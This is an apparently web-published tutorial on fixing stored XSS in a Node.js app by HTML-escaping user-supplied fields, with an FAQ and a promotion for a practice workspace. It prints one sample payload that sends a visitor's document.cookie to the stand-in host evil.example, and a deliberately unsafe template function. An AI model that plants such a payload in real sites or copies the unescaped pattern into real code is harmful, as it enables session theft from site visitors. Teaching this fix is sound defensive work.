How to Fix Stored XSS With HTML Escaping

Stored XSS means a comment or form input containing a <script> tag gets saved to the database and then rendered raw into every page - executing in every viewer's browser. The fix is an HTML escape helper applied to every user-supplied field before it touches the template.

Security Engineerjavascriptnodejsexpress

Why stored XSS is dangerous

A stored (or persistent) XSS vulnerability differs from reflected XSS because the payload is saved - in a database, a file, a cache - and replayed to every user who views the page. One malicious comment can silently steal session cookies or perform actions on behalf of every visitor:

<!-- attacker submits this as a comment -->
<script>document.location='https://evil.example/?c='+document.cookie</script>

When the server concatenates that string directly into the HTML response, the browser parses it as code, not text, and runs it.

The root cause: unescaped string interpolation

Hand-rolled HTML generation is the usual culprit. A template literal like this is unsafe:

// UNSAFE - author and text are injected verbatim
function renderComment(c) {
  return `<div class="comment">
    <strong>${c.author}</strong>
    <p>${c.text}</p>
  </div>`;
}

Add an escapeHtml helper

Replace the five characters that have special meaning in HTML with their entity equivalents before interpolating any user-supplied value:

function escapeHtml(s) {
  return String(s)
    .replace(/&/g, '&amp;')   // must be first
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

function renderComment(c) {
  return `<div class="comment">
    <strong>${escapeHtml(c.author)}</strong>
    <p>${escapeHtml(c.text)}</p>
  </div>`;
}

The & replacement must come first - otherwise a later pass would double-escape entities already produced by an earlier replacement.

Which fields need escaping

Escape every field that originates from user input: author, text, form parameters, query strings, URL fragments. System-generated fields like a server-assigned date or a database-generated id are safe to leave as-is.

After the fix, the payload renders as literal visible text:

&lt;script&gt;document.location='...'&lt;/script&gt;

The browser shows it on screen instead of executing it.

Defense-in-depth

Escaping is the baseline mitigation. Layer it with:

Want to try it hands-on? HeyDevJob gives you this exact setup in a live cloud workspace in your browser - edit it, run it, and see it work. Free, nothing to install.

Try it in a workspace →

What you'll practice

FAQ

What is stored XSS and how is it different from reflected XSS?

Stored XSS saves the attacker's payload - usually in a database - so it runs in every visitor's browser whenever the page loads. Reflected XSS is a one-shot attack delivered through a crafted URL that only hits the victim who clicks it.

How do I prevent stored XSS in a Node.js app?

Apply an HTML escape function to every user-supplied string before inserting it into an HTML template. Replace &, <, >, ", and ' with &amp;, &lt;, &gt;, &quot;, and &#39;. Better yet, use a templating engine that escapes by default.

Why does the & replacement have to come first in an escapeHtml function?

If you escape < first, producing &lt;, a later & replacement would turn that into &amp;lt; - double-encoding the entity. Replacing & first ensures every subsequent replacement produces entities that won't be re-escaped.

How do you mitigate stored XSS?

Escape or sanitize user input when you render it (HTML-encode on output), set a Content-Security-Policy, and validate input on the way in. Output encoding at render time is the core fix - never trust stored data as safe HTML.

What is a stored XSS attack?

Stored (persistent) XSS saves a malicious script into your database via user input, so it runs in the browser of everyone who later views that content - more dangerous than reflected XSS because no per-victim link is needed.

Keep learning

Close a SQL Injection in a Search EndpointSecurity projectRemove Hardcoded Credentials From Source CodeSecurity projectHash Passwords Instead of Storing PlaintextSecurity projectSecurity roadmapStep by step to hiredSecurity interview questionsSTAR answersAll Security projectsProjects hub

Learn it by doing. Open this in a live cloud workspace, make the change yourself, and keep a record of the work you can share.

Open the workspace →